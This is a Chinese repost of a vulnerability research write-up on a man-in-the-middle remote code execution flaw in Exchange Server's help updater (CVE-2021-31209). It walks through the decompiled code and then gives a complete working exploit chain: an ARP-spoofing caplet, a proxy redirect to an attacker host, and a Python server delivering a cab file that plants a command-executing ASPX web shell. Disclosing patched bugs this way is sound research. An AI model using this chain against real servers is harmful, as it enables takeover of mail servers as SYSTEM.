Exchange Server 中間人劫持 RCE 漏洞分析


Exchange Server 中間人劫持 RCE 漏洞分析

Pwn2Own Vancouver 2021:: Microsoft Exchange Server 遠程代碼執行

2020 年 11 月中旬,我在 Microsoft Exchange Server 中發現了一個邏輯遠程代碼執行漏洞,該漏洞有一個奇怪的轉折——它需要觸發之前進行中間人攻擊(MiTM) 。我發現這個錯誤是因為我正在尋找調用 以WebClient.DownloadFile希望發現服務器端請求偽造漏洞,因為在交換服務器內的某些環境中,這種類型的漏洞可能會產生巨大影響。后來,我發現SharePoint Server也受到本質上相同的代碼模式的影響。

漏洞摘要

當管理用戶在 Exchange 命令行管理程序中運行Update-ExchangeHelp或者Update-ExchangeHelp -Force命令時,處於特權網絡位置的未經身份驗證的攻擊者(例如 MiTM 攻擊)可以觸發遠程執行代碼漏洞。

漏洞分析

Microsoft.Exchange.Management.dll文件中,定義了Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand類:

protected override void InternalProcessRecord()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        ex = this.helpUpdater.UpdateHelp();    // 1
    }
    //...

[1] 處,代碼調用HelpUpdater.UpdateHelp方法。在Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater類內部,我們看到:

internal UpdatableExchangeHelpSystemException UpdateHelp()
{
    double num = 90.0;
    UpdatableExchangeHelpSystemException result = null;
    this.ProgressNumerator = 0.0;
    if (this.Cmdlet.Force || this.DownloadThrottleExpired())
    {
        try
        {
            this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            string path = this.LocalTempBase + "UpdateHelp.$$$\\";
            this.CleanDirectory(path);
            this.EnsureDirectory(path);
            HelpDownloader helpDownloader = new HelpDownloader(this);
            helpDownloader.DownloadManifest();    // 2

這個函數執行一些操作。第一個是在[2]調用DownloadManifest時。讓我們來看看Microsoft.Exchange.Management.UpdatableHelp.HelpDownloader.DownloadManifest

internal void DownloadManifest()
{
    string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
    if (!this.helpUpdater.Cmdlet.Abort)
    {
        this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));  // 3
    }
}

在[3]處,代碼ManifestUrl調用AsyncDownloadFile。當從InternalValidate調用LoadConfiguration方法時設置ManifestUrl:

protected override void InternalValidate()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        this.helpUpdater.LoadConfiguration();   // 4
    }
internal void LoadConfiguration()
{
    //...
    RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    if (registryKey3 == null)
    {
        registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    }
    if (registryKey3 != null)
	{
        try
		{
            this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString();  // 5

在[4]處代碼在驗證 cmdlet 的參數時調用 LoadConfiguration 。這將 ManifestUrl 設置為http://go.microsoft.com/fwlink/p/?LinkId=287244如果它不存在於注冊表單元中:HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp (在[5]處)。默認情況下,它不會這樣做,所以值總是http://go.microsoft.com/fwlink/p/?LinkId=287244

回到[3]的AsyncDownloadFile,這個方法將使用WebClient.DownloadFileAsync API用於將文件下載到文件系統中。因為我們無法控制本地文件路徑,所以這里沒有vuln。稍后在UpdateHelp中,我們會看到以下代碼:

//...
if (!this.Cmdlet.Abort)
{
    UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
    if (updatableHelpVersionRange != null)
    {
        double num2 = 20.0;
        this.ProgressNumerator = 10.0;
        this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
        string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
        if (array.Length != 0)  // 7
        {
            this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
            helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);  // 8
            if (this.Cmdlet.Abort)
            {
                return result;
            }
            this.ProgressNumerator += num2;
            this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
            helpInstaller.ExtractToTemp();  // 9
            //...

這里有很多東西需要解釋。在[6]上,代碼搜索下載的清單文件,以查找特定的版本或版本范圍,並確保Exchange服務器的版本在該范圍內。檢查還確保新的修訂號高於當前的修訂號。如果滿足了這些要求,那么代碼將繼續執行[7],在這里檢查區域性。因為我的目標是英語語言包,所以我將它設置為en,以便以后可以構造一個有效的路徑。然后在[8]下載並存儲cabineturl。這是xml清單文件中指定的.cab文件。

最后在[9],使用Microsoft.Exchange.Management.UpdatableHelp.HelpInstaller.ExtractToTemp方法提取cab文件:

internal int ExtractToTemp()
{
    this.filesAffected = 0;
    this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    bool embedded = false;
    string filter = "";
    int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);   // 10
    this.cabinetFiles = new Dictionary<string, List<string>>();
    this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
    this.filesAffected = result;
    return result;
}

在[10]處Microsoft.Exchange.CabUtility.dll調用Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles,這是一個混合模式程序集,包含本地代碼,使用導出的ExtractCab函數提取cab文件。不幸的是,該解析器在提取文件以驗證文件是否包含目錄遍歷之前不注冊回調函數。這允許我將任意文件寫入任意位置。

利用

文件寫入漏洞並不一定意味着遠程執行代碼,但在web應用程序的環境中,這種情況經常發生。我在Pwn2Own提出的攻擊會寫入C:/inetpub/wwwroot/aspnet_client目錄,這允許我向shell發出http請求,以SYSTEM的身份執行任意代碼,而不需要身份驗證。

讓我們回顧一下設置,以便我們能直觀地看到攻擊過程。

設置

第一步將要求您對目標系統執行ARP欺騙。在這個階段,我選擇使用bettercap,它允許您定義可以自動操作的caplets。我記得我上次有針對性的MiTM攻擊是12年前的事了!這是我poc.cap文件,該文件設置了ARP欺騙和代理腳本,攔截和響應特定的http請求:

set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on

poc.js文件是我編寫的代理腳本,用於攔截目標請求並將其重定向到位於http://192.168.0.56:8000/poc.xml的攻擊者宿主配置文件。

function onLoad() {    log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability")    log_info("Found by Steven Seeley of Source Incite")}function onRequest(req, res) {    log_info("(+) triggering mitm");    var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;    if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){        res.Status = 302;        res.SetHeader("Location", "http://192.168.0.56:8000/poc.xml");    }}

這個poc.xml清單文件包含承載惡意cab文件的CabinetUrl,以及更新的目標版本范圍:

<ExchangeHelpInfo>  <HelpVersions>    <HelpVersion>      <Version>15.2.1.1-15.2.999.9</Version>      <Revision>1</Revision>      <CulturesUpdated>en</CulturesUpdated>      <CabinetUrl>http://192.168.0.56:8000/poc.cab</CabinetUrl>    </HelpVersion>  </HelpVersions></ExchangeHelpInfo>

我將manifest和poc.cab文件傳遞過程打包到一個小型python http服務器poc.py中,該服務器也將嘗試訪問poc.aspx文件,並以SYSTEM的形式執行命令:

import sysimport base64import urllib3import requestsfrom threading import Threadfrom http.server import HTTPServer, SimpleHTTPRequestHandlerurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)class CabRequestHandler(SimpleHTTPRequestHandler):    def log_message(self, format, *args):        return    def do_GET(self):        if self.path.endswith("poc.xml"):            print("(+) delivering xml file...")            xml = """<ExchangeHelpInfo>  <HelpVersions>    <HelpVersion>      <Version>15.2.1.1-15.2.999.9</Version>      <Revision>%s</Revision>      <CulturesUpdated>en</CulturesUpdated>      <CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>    </HelpVersion>  </HelpVersions></ExchangeHelpInfo>""" % (r, s)            self.send_response(200)            self.send_header('Content-Type', 'application/xml')            self.send_header("Content-Length", len(xml))            self.end_headers()            self.wfile.write(str.encode(xml))        elif self.path.endswith("poc.cab"):            print("(+) delivering cab file...")            # created like: makecab /d "CabinetName1=poc.cab" /f files.txt            # files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"            # poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%>             stage_2  = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"            stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"            stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"            stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="            p = base64.b64decode(stage_2.encode('utf-8'))            self.send_response(200)            self.send_header('Content-Type', 'application/x-cab')            self.send_header("Content-Length", len(p))            self.end_headers()            self.wfile.write(p)            returnif __name__ == '__main__':    if len(sys.argv) != 5:        print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])        sys.exit(-1)    t = sys.argv[1]    s = sys.argv[2]    port = 8000    r = sys.argv[3]    c = sys.argv[4]    print("(+) server bound to port %d" % port)    print("(+) targeting: %s using cmd: %s" % (t, c))    httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)    handlerthr = Thread(target=httpd.serve_forever, args=())    handlerthr.daemon = True    handlerthr.start()    p = { "c" : "/c %s" % c }    try:        while 1:            req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)            if req.status_code == 200:                break        print("(+) executed %s as SYSTEM!" % c)    except KeyboardInterrupt:        pass

在每次攻擊嘗試中,修訂號都需要增加,因為代碼將把該值寫入到注冊表中,並在下載manifest文件后,將在繼續下載和提取cab文件之前驗證文件是否包含更高的修訂號。

繞過Windows Defender

執行mspaint是很酷的,但是對於Pwn2Own,我們需要一個繞過 Defender的shell。在Orange Tsai泄露了他的代理登錄漏洞的細節后,微軟決定嘗試檢測asp.net web shell。所以我采用了與Orange不同的方法:編譯一個自定義二進制文件,執行一個反向shell,並將其放到磁盤上,然后執行它來繞過Defender。

攻擊樣例

我們首先使用poc.capcaplet 文件運行 Bettercap :

researcher@pluto:~/poc-exchange$ sudo bettercap -caplet poc.capbettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands][12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)

現在我們 ping 目標(更新目標緩存的 Arp 表)並運行poc.py並等待管理用戶運行Update-ExchangeHelpUpdate-ExchangeHelp -Force在 Exchange 管理控制台 (EMC) 中運行(如果在最近24小時內執行過Update-ExchangeHelp命令,則必須執行-Force命令):

researcher@pluto:~/poc-exchange$ ./poc.py (+) usage: ./poc.py <target> <connectback> <revision> <cmd>(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"researcher@pluto:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint(+) server bound to port 8000(+) targeting: 192.168.0.142 using cmd: mspaint(+) delivering xml file...(+) delivering cab file...(+) executed mspaint as SYSTEM!

結論

這不是第一次在 Pwn2Own 上使用 MiTM 攻擊,很高興找到一個與比賽中其他研究人員沒有沖突的漏洞。這只能通過尋找新的媒介和/或表面來尋找 Exchange Server 中的漏洞才能實現。邏輯漏洞總是很有趣,因為它幾乎總是意味着被利用,而這些相同的問題很難用傳統的自動化工具發現。有人認為,所有網絡漏洞實際上都是合乎邏輯的。即使是基於 Web 的注入漏洞,因為它們不需要操作內存,並且可以臨時重復攻擊。

此漏洞在 Exchange 服務器中的影響非常大,因為 EMC 通過 PS-Remoting 連接到配置為以 SYSTEM 身份運行的 IIS 服務。對於 SharePoint 命令行管理程序 (SMS) 直接影響的 SharePoint Server,情況並非如此,在用戶運行 SMS 時實現代碼執行。

Microsoft 將此問題修補為CVE-2021-31209,如果您尚未部署該補丁,我們建議您立即部署。

原文:https://srcincite.io/blog/2021/08/25/pwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html

參考


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM